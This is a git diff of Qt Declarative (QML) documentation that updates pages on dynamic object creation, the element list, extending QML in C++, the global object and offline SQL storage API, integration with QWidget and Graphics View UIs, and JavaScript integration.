 \o \l {qdeclarativefocus.html}{Keyboard Focus}
 \o \l {Extending types from QML}
 \o \l {Dynamic Object Creation}
+\o \l {qmlruntime.html}{The Qt Declarative Runtime}
 \endlist
 
 \section1 Reference:
 \list
 \o \l {QML Elements}
 \o \l {QML Global Object}
-\o \l {Extending QML}
+\o \l {Extending QML in C++}
+\o \l {Integrating QML with existing Qt UI code}
 \o \l {QML Internationalization}
+\o \l {QML Security}
 \o \l {QtDeclarative Module}
 \o \l {Debugging QML}
+\o \l {QML Coding Conventions}
 \endlist
 */
diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc
index 033c0d1..4cb5198 100644
--- a/doc/src/declarative/dynamicobjects.qdoc
+++ b/doc/src/declarative/dynamicobjects.qdoc
@@ -62,39 +62,35 @@ item which you want to manage dynamic instances of, and creating an item from
 a string of QML is intended for when the QML itself is generated at runtime.
 
 If you have a component specified in a QML file, you can dynamically load it with
-the createComponent function on the \l{QML Global Object}. 
+the \l {createComponent(url file)}{createComponent()} function on the \l{QML Global Object}. 
 This function takes the URL of the QML file as its only argument and returns
 a component object which can be used to create and load that QML file.
 
-You can also create a component by placing your QML inside a Component element.
-Referencing that component element by id will be the same as referencing the variable
-which you save the result of createComponent into.
-
-Once you have a component you can use its createObject method to create an instance of
+Once you have a component you can use its \c createObject() method to create an instance of
 the component. Example QML script is below. Remember that QML files that might be loaded
     over the network cannot be expected to be ready immediately.
     \code
         var component;
         var sprite;
-        function finishCreation(){
-            if(component.isReady()){
+        function finishCreation() {
+            if(component.isReady()) {
                 sprite = component.createObject();
-                if(sprite == 0){
+                if(sprite == 0) {
                     // Error Handling
-                }else{
+                } else {
                     sprite.parent = page;
                     sprite.x = 200;
                     //...
                 }
-            }else if(component.isError()){
+            } else if(component.isError()) {
                 // Error Handling
             }
         }
 
         component = createComponent("Sprite.qml");
-        if(component.isReady()){
+        if(component.isReady()) {
             finishCreation();
-        }else{
+        } else {
             component.statusChanged.connect(finishCreation);
         }
     \endcode
@@ -104,10 +100,10 @@ the component. Example QML script is below. Remember that QML files that might b
     \code
         component = createComponent("Sprite.qml");
         sprite = component.createObject();
-        if(sprite == 0){
+        if(sprite == 0) {
             // Error Handling
             console.log(component.errorsString());
-        }else{
+        } else {
             sprite.parent = page;
             sprite.x = 200;
             //...
@@ -116,13 +112,13 @@ the component. Example QML script is below. Remember that QML files that might b
 
 After creating the item, remember to set its parent to an item within the scene.
 Otherwise your dynamically created item will not appear in the scene. When using files with relative paths, the path should
-be relative to the file where createComponent is executed.
+be relative to the file where \c createComponent() is executed.
 
 If the QML does not exist until runtime, you can create a QML item from
-a string of QML using the createQmlObject function, as in the following example:
+a string of QML using the \l{createQmlObject(string qml, object parent, string filepath)}{createQmlObject()} function, as in the following example:
 
     \code
-    newObject = createQmlObject('import Qt 4.6; Rectangle {color: "red"; width: 20; height: 20}',
+    newObject = createQmlObject('import Qt 4.7; Rectangle { color: "red"; width: 20; height: 20 }',
         targetItem, "dynamicSnippet1");
     \endcode
 The first argument is the string of QML to create. Just like in a new file, you will need to
@@ -139,9 +135,9 @@ will not have an id in QML.
 
 A restriction which you need to manage with dynamically created items,
 is that the creation context must outlive the
-created item. The creation context is the QDeclarativeContext in which createComponent
+created item. The creation context is the QDeclarativeContext in which \c createComponent()
 was called, or the context in which the Component element, or the item used as the
-second argument to createQmlObject, was specified. If the creation
+second argument to \c createQmlObject(), was specified. If the creation
 context is destroyed before the dynamic item is, then bindings in the dynamic item will
 fail to work.
 
@@ -158,11 +154,12 @@ argument, which is an approximate delay in ms and which defaults to zero. This
 allows you to wait until the completion of an animation or transition. An example:
 
 \code
-    Component{ id:fadesOut
+    Component {
+        id: fadesOut
         Rectangle{
             id: rect
             width: 40; height: 40;
-            opacity: NumberAnimation{from:1; to:0; duration: 1000;}
+            NumberAnimation on opacity { from:1; to:0; duration: 1000 }
             Component.onCompleted: rect.destroy(1000);
         }
     }
diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc
index 67aadcf..ce3a6e3 100644
--- a/doc/src/declarative/elements.qdoc
+++ b/doc/src/declarative/elements.qdoc
@@ -76,29 +76,33 @@ The following table lists the QML elements provided by the Qt Declarative module
 \o \l ParallelAnimation
 \o \l PauseAnimation
 \o \l ParentAnimation
+\o \l AnchorAnimation
+\o \l SmoothedAnimation
 \o \l PropertyAction
-\o \l ParentAction
 \o \l ScriptAction
 \o \l Transition
 \o \l SpringFollow
-\o \l EaseFollow
 \o \l Behavior
 \endlist
 
 \o
 \list
 \o \l Binding
-\o \l ListModel, \l ListElement
+\o \l ListModel
+\list
+\o \l ListElement
+\endlist
 \o \l VisualItemModel
 \o \l VisualDataModel
 \o \l Package
-\o \l XmlListModel and XmlRole
-\o \l WorkerListModel
+\o \l XmlListModel
+\list
+\o \l XmlRole
+\endlist
 \endlist
 
 \o
 \list
-\o \l Script
 \o \l Connections
 \o \l Component
 \o \l Timer
@@ -113,8 +117,8 @@ The following table lists the QML elements provided by the Qt Declarative module
 \header
 \o \bold {Basic Visual Items}
 \o \bold {Basic Interaction Items}
-\o \bold {Widgets}
 \o \bold {Utility}
+\o \bold {Transforms}
 
 \row
 \o
@@ -132,13 +136,9 @@ The following table lists the QML elements provided by the Qt Declarative module
 \list
 \o \l MouseArea
 \o \l FocusScope
-\endlist
-
-\o
-\list
 \o \l Flickable
 \o \l Flipable
-\o \l WebView
+\o \l GestureArea (experimental)
 \endlist
 
 \o
@@ -146,14 +146,20 @@ The following table lists the QML elements provided by the Qt Declarative module
 \o \l Loader
 \o \l Repeater
 \o \l SystemPalette
-\o \l GraphicsObjectContainer
 \o \l LayoutItem
 \endlist
 
+\o
+\list
+\o \l Scale
+\o \l Rotation
+\o \l Translate
+\endlist
+
 \header
 \o \bold {Views}
 \o \bold {Positioners}
-\o \bold {Transforms}
+\o \bold {Media}
 \o \bold {Effects}
 
 \row
@@ -174,6 +180,7 @@ The following table lists the QML elements provided by the Qt Declarative module
         \o \l PathPercent
         \endlist
     \endlist
+\o \l WebView
 \endlist
 
 \o
@@ -181,21 +188,19 @@ The following table lists the QML elements provided by the Qt Declarative module
 \o \l Column
 \o \l Row
 \o \l Grid
+\o \l Flow
 \endlist
 
 \o
 \list
-\o \l Scale
-\o \l Rotation
+\o \l SoundEffect
+\o \l Audio
+\o \l Video
 \endlist
 
 \o
 \list
-\o \l Blur
-\o \l Colorize
-\o \l DropShadow
-\o \l Opacity
-\o \l Particles
+\o \l Particles (experimental)
     \list
     \o \l ParticleMotionLinear
     \o \l ParticleMotionGravity
diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc
index 42351c5..c14208e 100644
--- a/doc/src/declarative/example-slideswitch.qdoc
+++ b/doc/src/declarative/example-slideswitch.qdoc
@@ -121,7 +121,7 @@ states (\e on and \e off).
 This second function is called when the knob is released and we want to make sure that the knob does not end up between states
 (neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing.
 
-For more information on scripts see \l{qdeclarativejavascript.html}{JavaScript Blocks}.
+For more information on scripts see \l{Integrating JavaScript}.
 
 \section2 Transition
 \snippet examples/declarative/slideswitch/content/Switch.qml 7
diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc
index b7da508..3d8325e 100644
--- a/doc/src/declarative/examples.qdoc
+++ b/doc/src/declarative/examples.qdoc
@@ -51,21 +51,17 @@ sub-directory that show how to use various aspects of QML. In addition, the
 applications. These demos are intended to show integrated functionality
 rather than being instructive on specifice elements.
 
-To run the examples and demos, use the included \l {qmlviewer}{qmlviewer}
+To run the examples and demos, use the included \l {Qt Declarative UI Runtime}{qml}
 application. It has some useful options, revealed by:
 
 \code
-    bin/qmlviewer -help
+    bin/qml -help
 \endcode
 
 For example, from your build directory, run:
 
 \code
-    bin/qmlviewer $QTDIR/demos/declarative/flickr/flickr-desktop.qml
-\endcode
-or
-\code
-    bin/qmlviewer $QTDIR/demos/declarative/samegame/samegame.qml
+    bin/qml $QTDIR/demos/declarative/samegame/samegame.qml
 \endcode
 
 \section1 Examples
diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc
index 5aaa7bd..e1c6469 100644
--- a/doc/src/declarative/extending.qdoc
+++ b/doc/src/declarative/extending.qdoc
@@ -41,7 +41,7 @@
 
 /*!
 \page qml-extending.html
-\title Extending QML
+\title Extending QML in C++
 
 The QML syntax declaratively describes how to construct an in memory object
 tree.  In Qt, QML is mainly used to describe a visual scene graph, but it is
@@ -67,21 +67,23 @@ that derive from QObject.
 The QML engine has no intrinsic knowledge of any class types.  Instead the
 programmer must define the C++ types, and their corresponding QML name.
 
-Custom C++ types are made available to QML using these two macros:
+Custom C++ types are declared QML types using a macro and a template function:
 
 \quotation
+
 \code
 #define QML_DECLARE_TYPE(T)
-#define QML_REGISTER_TYPE(URI,VMAJ,VMIN,QDeclarativeName,T)
+template<typename T>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
 \endcode
 
-Register the C++ type \a T with the QML system, and make it available in QML
-under the name \a QDeclarativeName in library URI version VMAJ.VMIN.
-\a T and \a QDeclarativeName may be the same.
+Calling qmlRegisterType() registers the C++ type \a T with the QML system, and makes it available in QML
+under the name \a qmlName in library \a uri version \a versionMajor.versionMinor.
+The \a qmlName can be the same as the C++ type name.
 
 Generally the QML_DECLARE_TYPE() macro should be included immediately following
-the type declaration (usually in its header file), and the QML_REGISTER_TYPE()
-macro called by the implementation.
+the type declaration (usually in its header file), and the template function qmlRegisterType()
+called by the implementation.
 
 Type \a T must be a concrete type that inherits QObject and has a default
 constructor.
@@ -147,19 +149,20 @@ property can be assigned.
 QML also supports assigning Qt interfaces.  To assign to a property whose type
 is a Qt interface pointer, the interface must also be registered with QML.  As
 they cannot be instantiated directly, registering a Qt interface is different
-from registering a new QML type.  The following macros are used instead:
+from registering a new QML type.  The following macro and function are used instead:
 
 \quotation
 \code
-    #define QML_DECLARE_INTERFACE(T)
-    #define QML_REGISTER_INTERFACE(T)
+#define QML_DECLARE_INTERFACE(T)
+template<typename T>
+int qmlRegisterInterface(const char *typeName)
 \endcode
 
-Register the C++ interface \a T with the QML system.
+Registers the C++ interface \a T with the QML system as \a typeName.
 
 Generally the QML_DECLARE_INTERFACE() macro should be included immediately
 following the interface declaration (usually in its header file), and the
-QML_REGISTER_INTERFACE() macro called by the implementation.
+qmlRegisterInterface() template function called by the implementation.
 
 Following registration, QML can coerce objects that implement this interface
 for assignment to appropriately typed properties.
@@ -192,25 +195,26 @@ type used in the previous section, but the assignment is valid as both the Boy
 and Girl objects inherit from Person.
 
 To assign to a property, the property's type must have been registered with QML.
-Both the QML_REGISTER_TYPE() and QML_REGISTER_INTERFACE() macros already shown can
-be used to register a type with QML.  Additionally, if a type that acts purely
+Both the qmlRegisterType() and qmlRegisterInterface() template functions already
+shown can be used to register a type with QML.  Additionally, if a type that acts purely
 as a base class that cannot be instantiated from QML needs to be
-registered these macros can be used:
+registered these macro and function can be used:
 
 \quotation
 \code
     #define QML_DECLARE_TYPE(T)
-    #define QML_REGISTER_NOCREATE_TYPE(T)
+    template<typename T>
+    int qmlRegisterType()
 \endcode
 
-Register the C++ type \a T with the QML system. QML_REGISTER_NOCREATE_TYPE()
-differs from QML_REGISTER_TYPE() in that it does not define a mapping between the
+Registers the C++ type \a T with the QML system. The parameterless call to the template
+function qmlRegisterType() does not define a mapping between the
 C++ class and a QML element name, so the type is not instantiable from QML, but
 it is available for type coercion.
 
 Generally the QML_DECLARE_TYPE() macro should be included immediately following
 the type declaration (usually in its header file), and the
-QML_REGISTER_NOCREATE_TYPE() macro called from the implementation.
+qmlRegisterType() template function called from the implementation.
 
 Type \a T must inherit QObject, but there are no restrictions on whether it is
 concrete or the signature of its constructor.
@@ -623,7 +627,7 @@ public:
 \title Extending types from QML
 
 Many of the elements available for use in QML are implemented in
-\l {Extending QML}{C++}.  These types are know as "core types".  QML
+\l {Extending QML in C++}{C++}.  These types are know as "core types".  QML
 allows programmers to build new, fully functional elements without using C++.
 Existing core types can be extended, and new types defined entirely in the QML
 language.
@@ -650,8 +654,7 @@ declaring a new property, and the corresponding C++ type.
 \row \o string \o QString
 \row \o url \o QUrl
 \row \o color \o QColor
-\row \o date \o QDate
-\row \o var \o QVariant
+\row \o date \o QDateTime
 \row \o variant \o QVariant
 \endtable
 
@@ -689,6 +692,19 @@ it in two steps, like this:
     myProperty: 10
 \endcode
 
+If a default value is not supplied or set later in the file, each type has a
+default value for when none is explictly set. Below are the default values 
+of some of the types. For the remaining types the default values are undefined.
+
+\table
+\header \o QML Type \o Default Value
+\row \o bool \o false
+\row \o int \o 0
+\row \o double, real \o 0.0
+\row \o string, url \o "" (an empty string)
+\row \o color \o #000000 (black)
+\endtable
+
 If specified, the optional "default" attribute marks the new property as the
 types default property, overriding any existing default property.  Using the
 default attribute twice in the same type block is an error.
@@ -836,7 +852,7 @@ Here are three examples of signal declarations:
     Item {
         signal clicked
         signal hovered()
-        signal performAction(string action, var actionArgument)
+        signal performAction(string action, variant actionArgument)
     }
 \endcode
 
diff --git a/doc/src/declarative/focus.qdoc b/doc/src/declarative/focus.qdoc
index d7e890c..e5c1d32 100644
--- a/doc/src/declarative/focus.qdoc
+++ b/doc/src/declarative/focus.qdoc
@@ -96,7 +96,7 @@ Text {
 An \l Item requests focus by setting the \c {Item::focus} property to true.
 
 For very simple cases simply setting the \c {Item::focus} property is sometimes
-sufficient.  If we run the following example in the \c qmlviewer, we see that
+sufficient.  If we run the following example with the \l {Qt Declarative UI Runtime}{qml} tool, we see that
 the \c {keyHandler} element has \e {active focus} and pressing the 'A', 'B'
 or 'C' keys modifies the text appropriately.
 
diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
index 4b1c7d3..97f5d91 100644
--- a/doc/src/declarative/globalobject.qdoc
+++ b/doc/src/declarative/globalobject.qdoc
@@ -182,18 +182,6 @@ This function returns a color 50% darker than \c baseColor. See QColor::darker()
     \image declarative-rect_tint.png
 
     Tint is most useful when a subtle change is intended to be conveyed due to some event; you can then use tinting to more effectively tune the visible color.
-\section3 Qt.closestAngle(number fromAngle, number toAngle)
-This function returns an equivalent angle to toAngle, such that the difference between fromAngle and toAngle is never more than 180 degrees. This is useful when animating angles using a NumberAnimation, which does not know about equivalent angles, when you always want to take the shortest path. 
-
-For example, the following would rotate myItem counterclockwise from 350 degrees to 10 degrees, for a total of 340 degrees of rotation.
-\qml
-NumberAnimation { target: myItem; property: "rotation"; from: 350; to: 10 }
-\endqml
-
-while the following would rotate myItem clockwise from 350 degrees to 370 degrees (which is visually equivilant to 10 degrees), for a total of 20 degrees of rotation.
-\qml
-NumberAnimation { target: myItem; property: "rotation"; from: 350; to: Qt.closetAngle(350, 10) }
-\endqml
 
 \section3 Qt.openUrlExternally(url target)
 This function attempts to open the specified \c target url in an external application, based on the user's desktop preferences. It will return true if it succeeds, and false otherwise.
@@ -201,6 +189,23 @@ This function attempts to open the specified \c target url in an external applic
 \section3 Qt.md5(data)
 This function returns a hex string of the md5 hash of \c data.
 
+\section3 Qt.btoa(data)
+This function returns a base64 encoding of \c data.
+
+\section3 Qt.atob(data)
+This function returns a base64 decoding of \c data.
+
+\section3 Qt.quit()
+This function causes the QML engine to emit the quit signal, which in
+\l {Qt Declarative UI Runtime}{qml} causes the runtime to quit.
+
+\section3 Qt.resolvedUrl(url)
+This function returns \c url resolved relative to the URL of the
+caller.
+
+\section3 Qt.isQtObject(object)
+Returns true if \c object is a valid reference to a Qt or QML object, otherwise false.
+
 \section1 Dynamic Object Creation
 The following functions on the global object allow you to dynamically create QML
 items from files or strings. See \l{Dynamic Object Management} for an overview
@@ -264,7 +269,7 @@ of their use.
 
     Example (where targetItem is the id of an existing QML item):
     \code
-    newObject = createQmlObject('import Qt 4.6; Rectangle {color: "red"; width: 20; height: 20}',
+    newObject = createQmlObject('import Qt 4.7; Rectangle {color: "red"; width: 20; height: 20}',
         targetItem, "dynamicSnippet1");
     \endcode
 
@@ -285,20 +290,33 @@ of their use.
 QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain data from over a network.
 \section2 XMLHttpRequest()
 In QML you can construct an XMLHttpRequest object just like in a web browser! TODO: Real documentation for this object.
+
+
 \section1 Offline Storage API
 
-The \c openDatabase() and related functions
+\section2 Database API
+
+The \c openDatabaseSync() and related functions
 provide the ability to access local offline storage in an SQL database.
 
-These databases are user-specific and QML-specific. They are stored in the \c Databases subdirectory
+These databases are user-specific and QML-specific, but accessible to all QML applications.
+They are stored in the \c Databases subdirectory
 of QDeclarativeEngine::offlineStoragePath(), currently as SQLite databases.
 
+The API can be used from JavaScript functions in your QML:
+
+\quotefile declarative/sql/hello.qml
+
 The API conforms to the Synchronous API of the HTML5 Web Database API,
 \link http://www.w3.org/TR/2009/WD-webdatabase-20091029/ W3C Working Draft 29 October 2009\endlink.
 
-The API can be used from JavaScript functions in your QML:
+\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db))
 
-\quotefile declarative/sql/hello.qml
+Returns the database identified by \e identifier. If the database does not already exist, it
+is created with the properties \e description and \e estimated_size and the function \e callback
+is called with the database as a parameter.
+
+May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR.
 
 When a database is first created, an INI file is also created specifying its characteristics:
 
@@ -313,4 +331,48 @@ When a database is first created, an INI file is also created specifying its cha
 
 This data can be used by application tools.
 
+\section3 db.changeVersion(from, to, callback(tx))
+
+This method allows you to perform a \e{Scheme Upgrade}.
+
+If the current version of \e db is not \e from, then an exception is thrown.
+
+Otherwise, a database transaction is created and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to upgrade the database.
+
+May throw exception with code property SQLException.DATABASE_ERR or SQLException.UNKNOWN_ERR.
+
+\section3 db.transaction(callback(tx))
+
+This method creates a read/write transaction and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to read and modify the database.
+
+If the callback throws exceptions, the transaction is rolled back.
+
+\section3 db.readTransaction(callback(tx))
+
+This method creates a read-only transaction and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to read the database (with SELECT statements).
+
+\section3 results = tx.executeSql(statement, values)
+
+This method executes a SQL \e statement, binding the list of \e values to SQL positional parameters ("?").
+
+It returns a results object, with the following properties:
+
+\table
+\header \o \bold {Type} \o \bold {Property} \o \bold {Value} \o \bold {Applicability}
+\row \o int \o rows.length \o The number of rows in the result \o SELECT
+\row \o var \o rows.item(i) \o Function that returns row \e i of the result \o SELECT
+\row \o int \o rowsAffected \o The number of rows affected by a modification \o UPDATE, DELETE
+\row \o string \o insertId \o The id of the row inserted \o INSERT
+\endtable
+
+May throw exception with code property SQLException.DATABASE_ERR, SQLException.SYNTAX_ERR, or SQLException.UNKNOWN_ERR.
+
+\section1 Logging
+
+\c console.log() and \c console.debug() can be used to print information
+to the console. See \l{Debugging QML} for more information.
+
 */
diff --git a/doc/src/declarative/integrating.qdoc b/doc/src/declarative/integrating.qdoc
index c685d3d..d4034fa 100644
--- a/doc/src/declarative/integrating.qdoc
+++ b/doc/src/declarative/integrating.qdoc
@@ -43,44 +43,56 @@
 \page qml-integration.html
 \title Integrating QML with existing Qt UI code
 
-If you have existing Qt UI code which does not use QML you can still
-add QML to your UI, without having to rewrite it.
-
-\section1 Adding QML to a \l{QWidget} based UI
-If you have an existing QWidget based UI you can simply write new custom
-widgets in QML. To integrate them into your application you can create a
-QDeclarativeView widget, and load the QML file into that. You'll then have a new widget
-containing your declarative UI, and you can interact with it through the
-QDeclarativeView interface. The one drawback of this approach is that QDeclarativeView is a lot
-heavier than a QWidget in terms of memory consumption and initialization speed,
-and so having large numbers of them may lead to performance degredation.
-
-For a smooth transition from a QWidget based UI to a QML based UI, simply
-rewrite your widgets in QML one at a time, using the above method. When
-all of your widgets are written in QML you can rewrite your main widget in
-QML, so as to load the other widgets in QML instead of using QDeclarativeViews. Then
-you just load the main QML file on startup.
-
-Keep in mind that QWidgets were designed for different sorts of UIs than QML
-was, and so it is not always a good idea to switch. QWidgets are a better
-choice if your UI is comprised of a small number of complex and static
-elements, and QML is a better choice if your UI is comprised of a large number
+There are a number of ways to integrate QML into QWidget-based UI applications,
+depending on the characteristics of your existing UI code.
+
+
+\section1 Integrating with a \l{QWidget}-based UI
+
+If you have an existing QWidget-based UI, QML widgets can be integrated into
+it using QDeclarativeView. QDeclarativeView is a subclass of QWidget so you
+can add it to your user interface like any other QWidget. Use 
+QDeclarativeView::setSource() to load a QML file into the view, then add the 
+view to your UI:
+
+\code
+QDeclarativeView *qmlView = new QDeclarativeView;
+qmlView->setSource(QUrl::fromLocalFile("myqml.qml"));
+
+QWidget *widget = myExistingWidget();
+QVBoxLayout *layout = new QVBoxLayout(widget);
+widget->addWidget(qmlView);
+\endcode
+
+The one drawback to this approach is that QDeclarativeView is slower to initialize
+and uses more memory than a QWidget, and creating large numbers of QDeclarativeView
+objects may lead to performance degradation. If this is the case, it may be 
+better to rewrite your widgets in QML, and load the widgets from a main QML widget
+instead of using QDeclarativeView.
+
+Keep in mind that QWidgets were designed for a different type of user interface
+than QML, so it is not always a good idea to port a QWidget-based application to
+QML. QWidgets are a better choice if your UI is comprised of a small number of
+complex and static elements, and QML is a better choice if your UI is comprised of a large number
 of simple and dynamic elements.
 
-\section1 Adding QML to a QGraphicsView based UI
 
-If you have an existing Graphics View based UI you can create new
-items in QML, and use \l{QDeclarativeComponent} to create \l{QGraphicsObject}s
-from the QML files. These \l{QGraphicsObject}s can then be placed into
-your \l{QGraphicsScene} using \l{QGraphicsScene::addItem()} or by
-reparenting them to an item already in the \l{QGraphicsScene}.
+\section1 Integrating with a QGraphicsView-based UI
+
+\section2 Adding QML widgets to a QGraphicsScene
 
-Example, for local QML files:
+If you have an existing UI based on the \l{The Graphics View Framework}{Graphics View Framework},
+you can integrate QML widgets directly into your QGraphicsScene. Use
+QDeclarativeComponent to create a QGraphicsObject from a QML file, and
+place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or 
+reparent it to an item already in the \l{QGraphicsScene}.
+
+For example:
 
 \code
-QGraphicsScene* scene = new QGraphicsScene;
+QGraphicsScene* scene = myExistingGraphicsScene();
 QDeclarativeEngine *engine = new QDeclarativeEngine;
-QDeclarativeComponent component(engine, QUrl::fromLocalFile(filename));
+QDeclarativeComponent component(engine, QUrl::fromLocalFile("myqml.qml"));
 QGraphicsObject *object =
     qobject_cast<QGraphicsObject *>(component.create());
 scene->addItem(object);
@@ -90,26 +102,60 @@ The following QGraphicsView options are recommended for optimal performance
 of QML UIs:
 
 \list
-\o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState);
-\o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate);
-\o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex);
+\o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState)
+\o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate)
+\o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex)
 \endlist
 
-\section1 Using existing QGraphicsWidgets in QML
-Another way of integrating with a QGraphicsView based UI is to expose your
-existing QGraphicsWidgets to QML, and constructing your scene in QML. Note that
-this approach will not work with QGraphicsItems which are not QGraphicsWidgets,
-and that this approach allows you to integrate new items written in QML
-without using the above method.
-
-You can make custom C++ types 
-available in QML using the pair of macros listed in \l{Extending QML}.
-While this is normally only useful for
-types that were designed for QML use, in conjunction with the
-\l{GraphicsObjectContainer} element QGraphicsWidget subclasses can also be
-used effectively (if they were designed, like QGraphicsWidget, to be controllable through Qt's property system).
-This way you can write your UI using QML, without having to rewrite your existing items.
-
-For details on implementing this approach see \l{Extending QML} page for details on exposing your C++ types,
-and the \l{GraphicsObjectContainer} documentation for details about using it to wrap QGraphicsWidgets. 
+\section2 Loading QGraphicsWidget objects in QML
+
+An alternative approach is to expose your existing QGraphicsWidget objects to 
+QML and construct your scene in QML instead. To do this, you need to register
+any custom C++ types and create a plugin that registers the custom types
+so that they can be used from your QML file.
+
+Here is an example. Suppose you have two classes, \c RedSquare and \c BlueCircle,
+that both inherit from QGraphicsWidget. First, you need to register these two types
+using the \c QML_DECLARE_TYPE macro from \c <QtDeclarative/qdeclarative.h>, like this:
+
+\c [graphicswidgets/redsquare.h]
+\snippet doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h 0
+
+\c [graphicswidgets/bluecircle.h]
+\snippet doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h 0
+
+Then, create a plugin by subclassing QDeclarativeExtensionPlugin, and register the
+types by calling qmlRegisterType(). Also export the plugin with Q_EXPORT_PLUGIN2.
+
+\c [graphicswidgets/shapesplugin.cpp]
+\snippet doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp 0
+
+Now write a project file that creates the plugin:
+
+\c [graphicswidgets/graphicswidgets.pro]
+\quotefile doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro
+
+And add a \c qmldir file that includes the \c graphicswidgets plugin from the \c lib
+subdirectory (as defined in the project file):
+
+\c [graphicswidgets/qmldir]
+\quotefile doc/src/declarative/snippets/integrating/graphicswidgets/qmldir
+
+Now, we can write a QML file that uses the \c RedSquare and \c BlueCircle widgets.
+(As an example, we can also create \c QGraphicsWidget items if we import the \c Qt.widgets
+module.)
+
+\c [main.qml]
+\quotefile doc/src/declarative/snippets/integrating/graphicswidgets/main.qml
+
+Here is a screenshot of the result:
+
+\image declarative-integrating-graphicswidgets.png 
+
+
+Note this approach of creating your graphics widgets from QML does not work 
+with QGraphicsItem objects that are not QGraphicsWidget-based, since they are not QObjects.
+
+See \l{Extending QML in C++} for further information on using C++ types.
+
 */
diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
index 98183bb..8ffe58c 100644
--- a/doc/src/declarative/javascriptblocks.qdoc
+++ b/doc/src/declarative/javascriptblocks.qdoc
@@ -41,113 +41,139 @@
 
 /*!
 \page qdeclarativejavascript.html
-\title JavaScript Blocks
+\title Integrating JavaScript
 
-QML encourages building UIs declaratively, using \l {Property Binding} and the 
-composition of existing \l {QML Elements}.  If imperative code is required to implement 
-more advanced behavior, the \l Script element can be used to add JavaScript code directly 
-to a QML file, or to include an external JavaScript file.
+QML encourages building UIs declaratively, using \l {Property Binding} and the
+composition of existing \l {QML Elements}.  To allow the implementation of more
+advanced behavior, QML integrates tightly with imperative JavaScript code.
 
-The \l Script element is a QML language \e intrinsic.  It can be used anywhere in a
-QML file, \e except as the root element of a file or sub-component, but cannot be 
-assigned to an object property or given an id.  The included JavaScript is evaluated 
-in a scope chain.  The \l {QML Scope} documentation covers the specifics of scoping 
-in QML.  
+The JavaScript environment provided by QML is stricter than that in a webbrowser.
+In QML you cannot add, or modify, members of the JavaScript global object.  It
+is possible to do this accidentally by using a variable without declaring it.  In
+QML this will throw an exception, so all local variables should be explicitly
+declared.
 
-A restriction on the JavaScript used in QML is that you cannot add new members to the
-global object. This happens transparently when you try to use a variable without
-declaring it, and so declaring local variables is required when using Java script in
-QML.
+In addition to the standard JavaScript properties, the \l {QML Global Object}
+includes a number of helper methods that simplify building UIs and interacting
+with the QML environment.
 
-The global object in QML has a variety of helper functions added to it, to aid UI
-implementation. See \l{QML Global Object} for further details.
+\section1 Inline JavaScript
 
-Note that if you are adding a function that should be called by external elements,
-you do not need the \l Script element. See \l {Extending types from QML#Adding new methods}
-{Adding new methods} for information about adding slots that can be called externally.
-
-\section1 Inline Script
-
-Small blocks of JavaScript can be included directly inside a \l {QML Document} as
-the body of the \l Script element.
+Small JavaScript functions can be written inline with other QML declarations.
+These inline functions are added as methods to the QML element that contains
+them.
 
 \code
-Rectangle {
-    Script {
-        function factorial(a) {
-            a = Integer(a);
-            if (a <= 0)
-                return 1;
-            else 
-                return a * factorial(a - 1);
-        }
+Item {
+    function factorial(a) {
+        a = Integer(a);
+        if (a <= 0)
+            return 1;
+        else
+            return a * factorial(a - 1);
+    }
+
+    MouseArea {
+        anchors.fill: parent
+        onClicked: print(factorial(10))
     }
 }
 \endcode
 
-Good programming practice dictates that only small script snippets should be written 
-inline.  QML prohibits the declaration of anything other than functions in an inline
-script block.  For example, the following script is illegal as an inline script block 
-as it declares the non-function variable \c lastResult.
+As methods, inline functions on the root element in a QML component can be
+invoked by callers outside the component.  If this is not desired, the method
+can be added to a non-root element or, preferably, written in an external
+JavaScript file.
+
+\section1 Separate JavaScript files
+
+Large blocks of JavaScript should be written in separate files. These files
+can be imported into QML files using an \c import statement, in the same way
+that \l {Modules}{modules} are imported.
+
+For example, the \c {factorial()} method in the above example for \l {Inline JavaScript}
+could be moved into an external file named \c factorial.js, and accessed like this:
 
 \code
-// Illegal inline code block
-var lastResult = 0
-function factorial(a) {
-    a = Integer(a);
-    if (a <= 0) 
-        lastResult = 1;
-    else 
-        lastResult = a * factorial(a - 1);
-    return lastResult;
+import "factorial.js" as MathFunctions
+Item {
+    MouseArea {
+        anchors.fill: parent
+        onClicked: print(MathFunctions.factorial(10))
+    }
 }
 \endcode
 
-\section1 Including an External File
+Both relative and absolute JavaScript URLs can be imported.  In the case of a 
+relative URL, the location is resolved relative to the location of the 
+\l {QML Document} that contains the import.  If the script file is not accessible, 
+an error will occur.  If the JavaScript needs to be fetched from a network 
+resource, the QML document has a "Loading"
+\l {QDeclarativeComponent::status()}{status} until the script has been 
+downloaded.
+
+Imported JavaScript files are always qualified using the "as" keyword.  The
+qualifier for JavaScript files must be unique, so there is always a one-to-one
+mapping between qualifiers and JavaScript files.
 
-To avoid cluttering the QML file, large script blocks should be in a separate file.
